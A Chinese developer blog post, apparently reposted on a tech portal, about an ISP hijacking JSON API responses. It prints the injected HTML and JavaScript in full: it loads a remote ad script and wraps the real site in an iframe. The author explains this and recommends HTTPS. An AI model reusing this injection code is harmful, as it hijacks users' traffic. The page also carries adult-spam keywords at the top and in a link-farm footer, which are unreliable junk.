成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

運營商劫持狠起來,連Json都改

網絡 通信技術
運營商劫持,是常見的流氓手段,它們老少通吃,連孩子都不放過,經常囂張的在右下角或者網頁頭尾,彈出一些羞羞的廣告。這讓正在輔導孩子功課的媽媽,很難解釋。

 運營商劫持,是常見的流氓手段,它們老少通吃,連孩子都不放過,經常囂張的在右下角或者網頁頭尾,彈出一些羞羞的廣告。這讓正在輔導孩子功課的媽媽,很難解釋。

[[280817]]

一、前言

一道經典面試題:當你輸入一個網址后回車,實際會發生什么?

那得看輸的啥網址,淘寶剁手、百度傷身、騰訊傷腎……

二、神秘的返回

那日風和日麗、萬里無云,延遲退到不足50ms,是個散養爬蟲的好日子~

 

與往常相同,一通風騷操作,數據便如百川入海般成功落庫。剛想泡杯咖啡,瞧瞧久違的天空,一道綿長的報錯信息就宛如拉稀般潑向屏幕!

草(一種植物),莫不是被發現了?趕緊看看

 

草!(一種強大植物) 。這是個啥?原以為會返回異常狀態碼,或者錯誤json,再不濟是偽數據,沒想到連數據格式都改了,整了一HTML丟過來?

可這接口,明明都是json。

喝口白水想安撫下結果燙了嘴……思前想后。產品光喝酒不吃菜也不能下這需求,再說我這小蚊子不至于拿炮轟吧。

一定 有!——問!——題!

暴起撈日志,查看頻率。大約10道請求有一道異常,于是順手拿到全部HTML代碼。讓我們學習一下…

  1. <html> 
  2.   <head> 
  3.     <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
  4.     <meta id="viewport" name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no"
  5.   </head> 
  6.   <script> 
  7.     window["$$$wins_pm"] = { 
  8.         "a""https://atplay.cn/banner/indexsd.aspx"
  9.         "m""http://baidu.com/"
  10.         "_xus""YBsOw1mgMPSOdBFpMBFjYBQjMZSjMBsXM3gO"
  11.         "_xai""0" 
  12.     }; 
  13.  
  14.     var xp=null,key="d=123",lo=location.href,ho=false
  15.     function cu(u){ 
  16.         var p=u.indexOf("?"); 
  17.         if(p>0) 
  18.             u=u.slice(0,p+1)+key+"&"+u.slice(p+1); 
  19.         else 
  20.             u+="?"+key
  21.         return u; 
  22.  
  23.     } 
  24.  
  25.     function Base64() { 
  26.         _keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
  27.         this.encode = function(input) { 
  28.             var output = ""
  29.             var chr1, chr2, chr3, enc1, enc2, enc3, enc4; 
  30.             var i = 0; 
  31.             input = _utf8_encode(input); 
  32.             while (i < input.length) { 
  33.                 chr1 = input.charCodeAt(i++); 
  34.                 chr2 = input.charCodeAt(i++); 
  35.                 chr3 = input.charCodeAt(i++); 
  36.                 enc1 = chr1 >> 2; 
  37.                 enc2 = ((chr1 & 3) << 4) | (chr2 >> 4); 
  38.                 enc3 = ((chr2 & 15) << 2) | (chr3 >> 6); 
  39.                 enc4 = chr3 & 63; 
  40.                 if (isNaN(chr2)) { 
  41.                     enc3 = enc4 = 64 
  42.                 } else if (isNaN(chr3)) { 
  43.                     enc4 = 64 
  44.                 } 
  45.                 output = output + _keyStr.charAt(enc1) + _keyStr.charAt(enc2) + _keyStr.charAt(enc3) + _keyStr.charAt(enc4) 
  46.             } 
  47.             return output 
  48.         }; 
  49.         this.decode = function(input) { 
  50.             var output = ""
  51.             var chr1, chr2, chr3; 
  52.             var enc1, enc2, enc3, enc4; 
  53.             var i = 0; 
  54.             input = input.replace(/[^A-Za-z0-9\+\/\=]/g, ""); 
  55.             while (i < input.length) { 
  56.                 enc1 = _keyStr.indexOf(input.charAt(i++)); 
  57.                 enc2 = _keyStr.indexOf(input.charAt(i++)); 
  58.                 enc3 = _keyStr.indexOf(input.charAt(i++)); 
  59.                 enc4 = _keyStr.indexOf(input.charAt(i++)); 
  60.                 chr1 = (enc1 << 2) | (enc2 >> 4); 
  61.                 chr2 = ((enc2 & 15) << 4) | (enc3 >> 2); 
  62.                 chr3 = ((enc3 & 3) << 6) | enc4; 
  63.                 output = output + String.fromCharCode(chr1); 
  64.                 if (enc3 != 64) { 
  65.                     output = output + String.fromCharCode(chr2) 
  66.                 } 
  67.                 if (enc4 != 64) { 
  68.                     output = output + String.fromCharCode(chr3) 
  69.                 } 
  70.             } 
  71.             output = _utf8_decode(output); 
  72.             return output 
  73.         }; 
  74.         _utf8_encode = function(string) { 
  75.             string = string.replace(/\r\n/g, "\n"); 
  76.             var utftext = ""
  77.             for (var n = 0; n < string.length; n++) { 
  78.                 var c = string.charCodeAt(n); 
  79.                 if (c < 128) { 
  80.                     utftext += String.fromCharCode(c) 
  81.                 } else if ((c > 127) && (c < 2048)) { 
  82.                     utftext += String.fromCharCode((c >> 6) | 192); 
  83.                     utftext += String.fromCharCode((c & 63) | 128) 
  84.                 } else { 
  85.                     utftext += String.fromCharCode((c >> 12) | 224); 
  86.                     utftext += String.fromCharCode(((c >> 6) & 63) | 128); 
  87.                     utftext += String.fromCharCode((c & 63) | 128) 
  88.                 } 
  89.             } 
  90.             return utftext 
  91.         }; 
  92.         _utf8_decode = function(utftext) { 
  93.             var string = ""
  94.             var i = 0; 
  95.             var c = c1 = c2 = 0; 
  96.             while (i < utftext.length) { 
  97.                 c = utftext.charCodeAt(i); 
  98.                 if (c < 128) { 
  99.                     string += String.fromCharCode(c); 
  100.                     i++ 
  101.                 } else if ((c > 191) && (c < 224)) { 
  102.                     c2 = utftext.charCodeAt(i + 1); 
  103.                     string += String.fromCharCode(((c & 31) << 6) | (c2 & 63)); 
  104.                     i += 2 
  105.                 } else { 
  106.                     c2 = utftext.charCodeAt(i + 1); 
  107.                     c3 = utftext.charCodeAt(i + 2); 
  108.                     string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63)); 
  109.                     i += 3 
  110.                 } 
  111.             } 
  112.             return string 
  113.         } 
  114.     } 
  115.     window["__BASE64"] = new Base64(); 
  116.  
  117.     function getURLwithParams() { 
  118.         var url = ""
  119.         if ($$$wins_pm.a.indexOf('?') > 0) { 
  120.             url = $$$wins_pm.a + "&_us=" + $$$wins_pm._xus + "&_su=" + __BASE64.encode($$$wins_pm.m) + "&_id=" + $$$wins_pm._xai; 
  121.         } else { 
  122.             url = $$$wins_pm.a + "?_us=" + $$$wins_pm._xus + "&_su=" + __BASE64.encode($$$wins_pm.m) + "&_id=" + $$$wins_pm._xai; 
  123.         } 
  124.         return url; 
  125.     } 
  126.     function goURLm() { 
  127.         var desturl = $$$wins_pm.m; 
  128.         if (desturl.slice(desturl.length - 1) == "/") desturl = desturl.slice(0, desturl.length - 1); 
  129.         return "<html></head><script>document.location.replace(\"" + desturl + "\");<\/script><\/html>" 
  130.     }; 
  131.     </script> 
  132.   <body style="margin:0;padding:0;"
  133.     <!--<div style="display: none;"><script src="https://s6.cnzz.com/z_stat.php?id=722749&web_id=722749" language="JavaScript"></script></div>--> 
  134.     <script type="text/javascript" src="https://atplay.cn/banner/indexsd.js"></script> 
  135.     <div style="width:100%;height:100%;-webkit-overflow-scrolling:touch;overflow-y:scroll;"
  136.     <iframe id='ifrmain' src='JavaScript:parent.goURLm()' scrolling=auto  width='100%'  height='100%' frameborder='no' onload=''></iframe> 
  137.     </div> 
  138. </body> 
  139. </html> 

 

三、真相大白

淦!真相大白,這糟爛的代碼絕不是爬蟲的菜,連地溝油都算不上啊!看這尿性八成是寬帶運營商的手筆,之前訪問個baidu都被套個iframe。但咱是萬萬沒想到啊,這次饑不擇食的連json接口都不放過,還改的這么大,粗,硬!

這就相當于剛出機場想打車到景點,結果上的是一黑車啊,拉著吃飯桑拿大寶劍,掏空錢包就拍地上!

既然確定是黑車,那索性就順勢調起這條傻魚。先看看效果——

 

呵,呵呵,呵呵呵。。。。不出所料。

忍著膈應翻代碼,找到域名,丟whois

 

拿到公司名,丟百度、天眼查,企查查。。。是它,是它沒跑了

 

四、結果?

這種手段,沒有寬帶運營商狼狽為奸,通常是無法完成的。目前家里一條X信,一條X動,經反復測試,只有X動線會出這個問題。。。那事情就很簡單了

工!信!部!投!訴!

坐標:https://dxss.miit.gov.cn/

 

 

 

 

風波過去又是睛空萬里,但這——恐怕永遠不會是最后一次。

五、我的網站該怎么辦?

你搞一下劫持,無可厚非,畢竟土壤就是這樣。但是你寫的這劫持bot也太傻了吧,連json格式都搞,讓人家開公司的如何是好。要知道,現在很多服務,都沒有網頁端了,劫持程序該升下級了。

曾幾何時,我們的網站,還都是http,這是劫持的最愛。應對的方式,就是全面升級為https,加大劫持難度,保護用戶,也保護自己。

作者簡介:小姐姐味道 (xjjdog),一個不允許程序員走彎路的公眾號。聚焦基礎架構和Linux。十年架構,日百億流量,與你探討高并發世界,給你不一樣的味道。我的個人微信xjjdog0,歡迎添加好友,進一步交流。

責任編輯:武曉燕 來源: 小姐姐味道
相關推薦

2017-01-09 14:17:07

互聯網

2018-10-08 13:41:01

運營商通信網絡攜號轉網

2018-04-10 04:58:27

5G運營商網絡

2013-02-25 10:53:10

運營商Firefox OS

2015-07-23 14:01:07

SDN運營商

2009-03-24 10:24:00

GPON運營商光纖接入

2014-10-14 15:53:46

運營商SDN

2018-03-13 06:45:20

2014-02-19 11:16:52

虛擬運營商

2018-01-02 11:37:54

2016-10-17 19:41:49

2011-08-30 09:29:45

云計算移動醫療

2009-03-10 09:42:15

4G融合部署

2021-12-01 08:45:22

元宇宙VR運營商

2012-04-05 13:42:02

2014-02-19 10:18:45

虛擬運營商

2017-11-21 13:55:16

運營商NFV虛擬化網絡

2021-06-24 09:55:53

運營商中國電信中國移動

2018-10-15 11:17:24

運營商低價中標寬帶網絡

2019-09-18 07:46:08

5G運營商網絡
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 成人免费视频网站在线看 | 超碰天天| 中文欧美日韩 | 国产欧美精品一区二区三区 | 97久久国产| 亚洲成人av一区二区 | 福利片在线观看 | 欧美v日韩v | 99热这里只有精品8 激情毛片 | 精品粉嫩aⅴ一区二区三区四区 | 午夜视频免费在线观看 | 黄网址在线观看 | 999国产精品视频 | 99综合 | 福利视频网站 | 第一av| 精品二区视频 | 羞羞网站在线免费观看 | 婷婷久久综合 | 亚洲国产一区二区在线 | 天天天天天天天干 | av香蕉 | 精品综合久久 | 黄网站免费在线 | 午夜视频一区二区 | 91亚洲国产成人精品一区二三 | 日本a在线 | 国产成人精品一区二区三区四区 | 综合在线视频 | 亚洲欧洲成人av每日更新 | 91影院| 成人免费视频 | 亚洲欧美日韩精品久久亚洲区 | 欧美综合久久 | 精品国产一区二区三区免费 | 国产精品久久久久久久久久久免费看 | 国产一区二区在线观看视频 | 啪啪免费网站 | 亚洲国产日韩欧美 | 国产一级免费视频 | 91视频大全 |